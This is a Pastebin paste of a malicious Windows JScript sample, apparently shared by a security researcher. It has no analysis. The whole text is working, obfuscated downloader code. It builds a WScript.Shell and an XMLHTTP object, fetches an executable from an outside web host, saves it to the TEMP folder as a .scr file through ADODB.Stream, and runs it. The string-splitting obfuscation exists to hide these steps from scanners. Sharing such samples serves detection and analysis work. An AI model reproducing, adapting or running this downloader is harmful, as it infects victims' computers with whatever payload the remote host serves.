Advertisement
dynamoo

Malicious obfuscated Javascript

Feb 3rd, 2016
414
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.  
  2. function aYWRVEBgw () {
  3.     var aLPHpqYWc = new this['A' + ('KNcINU', 'Mjlwvv', 'vt3', 'c') + '' + ('BKn', 'dtNr5', 'xVdk', 't') + '' + ('82MUl8', 'RELn', 'OE', 'i') + '' + ('pJ1C', 'O3i', 'Bdu', 'v') + 'e' + ('r4o', 'ZKm', 'C1dZ', 'X') + '' + ('Du', '2etF', 'iJIA', 'O') + '' + ('5gjwkH', 'ks6M4', 'Z3', 'b') + '' + ('GM', 'J0Vo', 'e79O', 'j') + '' + ('TI', 'p379', 'zga', 'e') + 'c' + ('9GF', 'nr', '6rzvS', 't') + '']('WSc' + ('B58', 'NxTQ', '3edjo', 'r'.split("").reverse().join("")) + 'ip' + ('xxmIU', 'l1fUw7', '99jei', 't'.split("").reverse().join("")) + '.S' + ('QHS', 'K6I3', 'AL27', 'h'.split("").reverse().join("")) + 'e' + ('2W63b1', 'jIKt', 'YL', 'l'.split("").reverse().join("")) + 'l' );
  4.     var a7Uhl9YIn = aLPHpqYWc['E' + ('xT6h0', 'lvp6xx', 'iza', 'x') + '' + ('mqdF9', '8bWU1X', 'yRBQ', 'p') + 'a' + ('cnQi', 'nxdXIC', '43OK', 'n') + '' + ('TnJNo', 'jXyVN', 'mZNd', 'd') + '' + ('AQWxy', '8CCW', 'OIg', 'E') + '' + ('4A8n', 'Hil7', 'lVSEE', 'n') + '' + ('A029', 'FM', '3A', 'v') + 'i' + ('Mfn', 'oLV', '3h', 'r') + '' + ('C9AhN', 'Ln', 'Ox', 'o') + '' + ('jhxU', 'QH', 'e4I', 'n') + 'm' + ('O3g1MT', 'na', 'qWmuLT', 'e') + 'n' + ('dYM', '4D', 'oST7ST', 't') + 'S' + ('aXH384', '7vb', 'ZWmG', 't') + '' + ('FYIJ', 'x8urg', 'kci', 'r') + '' + ('0y', '4Np', 'YSzU', 'i') + '' + ('6QW', 'yG', '6Ocx5', 'n') + 'g' + ('hRnrSW', 'WJ9wI', '6C', 's') + '']('%T' + ('8kOH0', 'NPHl', 'geb8BC', 'E'.split("").reverse().join("")) + 'M' + ('mXhvu', 'yBBQZl', 'j9GkEt', 'P'.split("").reverse().join("")) + '%' ) + String ['f' + ('4D3fMF', 'NdeLuK', 'tiR', 'r') + '' + ('Qq', 'az', 'uehEB7', 'o') + 'm' + ('aY1', 'QO34zx', 'P17G6g', 'C') + 'h' + ('oH6c', 'ltQ', 'AzcLxd', 'a') + 'r' + ('1Fs', 'dhqep', 'kG', 'C') + 'o' + ('4nYgzk', 'qhlZt', 'wH', 'd') + 'e'](92) + arguments[1];
  5.     var aLvtRe4Im = new this['Ac' + ('omkBE', 'Q3TbK', '2PV1', 't') + '' + ('mQWD', 'V7', 'sO1', 'i') + '' + ('qIS2', 'DSq', '3a66', 'v') + 'e' + ('85', 'uVt7', 'pf', 'X') + '' + ('3sdBTV', 'Vi7O', 'FSSLZ', 'O') + 'b' + ('7XlCT', 'K0eZr5', 'Uj', 'j') + 'e' + ('e8Jxg', 'fVq8', 'pZuxX', 'c') + 't']('MS' + ('ETRSTi', 'WchB0w', 'J3Zgi', 'X'.split("").reverse().join("")) + 'ML' + ('qC7q6', 'nWOeA', '5tBor', '2'.split("").reverse().join("")) + '.X' + ('I9BeT', 'hTB', 'Oj1r', 'M'.split("").reverse().join("")) + 'L' + ('x5Pt', '44D9xf', 'YN9H', 'H'.split("").reverse().join("")) + 'TT' + ('VQ5dJH', 'y0PZqh', 'w70q', 'P'.split("").reverse().join("")) + '' );
  6.     aLvtRe4Im['o' + ('lC', 'TA6', 'h3', 'n') + 'r' + ('TTr', 'AebB4', '1l', 'e') + 'a' + ('sIYD', '2ZplS0', 'WiwK', 'd') + 'y' + ('EX3f', 'fQ', 'qRB', 's') + '' + ('3QoH', 'rG4Ny', 'fv', 't') + '' + ('fUbTR', '83u', 'jUQV2g', 'a') + 't' + ('FFy6lC', 'UI9p5V', '07yRm', 'e') + 'c' + ('RGeMx9', 'O8ItNh', '9Ut4', 'h') + 'a' + ('uIxaI', 'Jz1qu', '7JFFTu', 'n') + '' + ('dW', 'uvZoY4', 'By', 'g') + 'e'] = function() {
  7.         if (aLvtRe4Im['r' + ('rOs1Q', 'vJ0foF', 'T8', 'e') + '' + ('5Z', 'AYZz', '0b', 'a') + 'd' + ('kkb9M', 'ZF', 'JGX8m', 'y') + '' + ('vf', 'Ae', 'bcILf', 's') + 't' + ('QrhbCq', 'PqDx9j', 'iFBk', 'a') + '' + ('sL5aWi', 'HxBDo3', 'zGlxvL', 't') + '' + ('Vu', 'ea9y', '006', 'e') + ''] === 4) {
  8.             var aYZH7YpvK = new this['A' + ('o4', 'WFokJ', 'UpE', 'c') + '' + ('qDXm7v', 'iF8E', '9KKkO', 't') + '' + ('y55X', 'Ogkd', 'M8mp5I', 'i') + 'v' + ('iPgqu', 'zfGU3P', 'CUo', 'e') + 'X' + ('dQF', 'Mry8', 'EQog8e', 'O') + 'b' + ('Is9X', '30', 'nCTMce', 'j') + 'e' + ('Tq', 'lZWcEN', 'UWOr', 'c') + 't']('ADO' + ('Eu3Iv2', '8W', 'kaSn4i', 'D'.split("").reverse().join("")) + 'B' + ('h9BV', 'cQS0ho', 'b32f', '.'.split("").reverse().join("")) + 'St' + ('hRGeJ', 'pB', 'tUBT', 'r'.split("").reverse().join("")) + 'e' + ('v7HHXA', 'fYgq1', 'GNR', 'a'.split("").reverse().join("")) + 'm' );
  9.             aYZH7YpvK['op' + ('bozA', 'Y4', 'AX6lte', 'e') + '' + ('cD', 'rC8SEr', 'siw7', 'n') + '']();
  10.             aYZH7YpvK['ty' + ('qjwp', 'rZl', 'lOMo', 'p') + 'e'] = 1;
  11.             aYZH7YpvK['wr' + ('Rq', 'ZijqR', 'JoSA6', 'i') + '' + ('pU', 'Nlp9', 'KYF8XE', 't') + '' + ('4POn8f', 'TYD', 'yK9za', 'e') + ''](aLvtRe4Im['Re' + ('pn7j85', 'h2DsRI', 'F6q', 's') + 'p' + ('kUZ', 'sJ', '1Tj', 'o') + '' + ('JoY2w4', 'O7', 'gYnxE', 'n') + '' + ('APiuPo', 'zDYtXZ', 'Gnj', 's') + 'e' + ('oLIvqZ', 'Nw9h', 'J7Nd', 'B') + 'o' + ('9w', '80M8lt', 'Edq3', 'd') + 'y']);
  12.             aYZH7YpvK['p' + ('o82c', 'buaUC', '7z9h6Y', 'o') + '' + ('Ly', 'f46s', '9qEH', 's') + 'i' + ('K1rWv', 'R7AZH', 'gNIHT', 't') + '' + ('kIk', 'bPzB', 'hqg1', 'i') + '' + ('YYkP6', 'OND5Am', 'uP2Oy', 'o') + '' + ('JcP', 'G6L', '8dE6cY', 'n') + ''] = 0;
  13.             aYZH7YpvK['s' + ('K5wPGS', 'aHFZg', 'fZ', 'a') + '' + ('kV', '6S', 'kwq', 'v') + 'e' + ('mOn6', 'TWALyL', 'dKJg', 'T') + 'o' + ('v44rf', 'kz', 'QZ1l', 'F') + '' + ('IsKBol', 'W6Q', 'RA', 'i') + '' + ('kWVooa', 'IJ4z', '6U4WD', 'l') + 'e'](a7Uhl9YIn, 2);
  14.             aYZH7YpvK['cl' + ('V1C', '8s2Z3t', 'nqMMPX', 'o') + '' + ('Gq7q', '2vsF', '9T', 's') + 'e']();
  15.         };
  16.     };
  17.     try {
  18.         ac9MZYJLJ = 'Ru' + ('QkYTj', 'na', 'NXbC', 'n'.split("").reverse().join("")) + '';
  19.         aLvtRe4Im['op' + ('BX', '1uk', 'XZy6', 'e') + 'n']('GET' , arguments[0], false);
  20.         aLvtRe4Im['s' + ('mCog', 'qD7Qr4', '4Y', 'e') + 'n' + ('zxx', '1R7Y', 'F5Kcna', 'd') + '']();
  21.         aLPHpqYWc [ac9MZYJLJ](a7Uhl9YIn, 1-1, 1-1);
  22.        
  23.     } catch (er) {};
  24. };
  25. aYWRVEBgw('ht' + ('PWYs3', 'T8RY7r', 'HYK', 't'.split("").reverse().join("")) + 'p' + ('CpY', '54eh', 'oRsW', ':'.split("").reverse().join("")) + '//' + ('V9sK', 'BC', 'I3', 'b'.split("").reverse().join("")) + 'j' + ('2ZH2', '714d6', 'vyH', 'h'.split("").reverse().join("")) + 'a' + ('D2p', 'cSkf', 'Wgb0', 'g'.split("").reverse().join("")) + 'ge' + ('3ui55', '7aDd', '8Lau', 'r'.split("").reverse().join("")) + 'ty' + ('xbnJ3I', 'xEfIFK', 'IeC', '.'.split("").reverse().join("")) + 'co' + ('2WvF', 'YO', '9iIYPU', 'm'.split("").reverse().join("")) + '/' + ('X4xuJ', 'doxw7', '9V7bR', '4'.split("").reverse().join("")) + '3r' + ('1BFXLX', 'JNz5m', '9U2S', 'f'.split("").reverse().join("")) + '3d' + ('heMo', 'Vk', '7b', 'w'.split("").reverse().join("")) + '/3' + ('dlEa6C', 'PqpVMX', 'GZ', '4'.split("").reverse().join("")) + 'fr' + ('feB2', 'CYWK6', 'u5', 'g'.split("").reverse().join("")) + 'e' + ('JwWlmM', 'MHyJM', 'JJC', 'g'.split("").reverse().join("")) + 'rg' + ('e2AR1x', '7F5c1', 'WyShUF', '.'.split("").reverse().join("")) + 'e' + ('mBr9R', 'Su', 'QJ', 'x'.split("").reverse().join("")) + 'e' , '45' + ('e6M9L', 'R8siij', 'aNE1', '2'.split("").reverse().join("")) + '91' + ('t77rku', 'C3', 'Qy1Xl', '3'.split("").reverse().join("")) + '6' + ('b2REk', 'XO', 'Ltm', '2'.split("").reverse().join("")) + '5' + ('Pqth', 'Xnm1a', 'zca', '6'.split("").reverse().join("")) + '.s' + ('T6qK', 'LUIze', '3AMp', 'c'.split("").reverse().join("")) + 'r' );
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement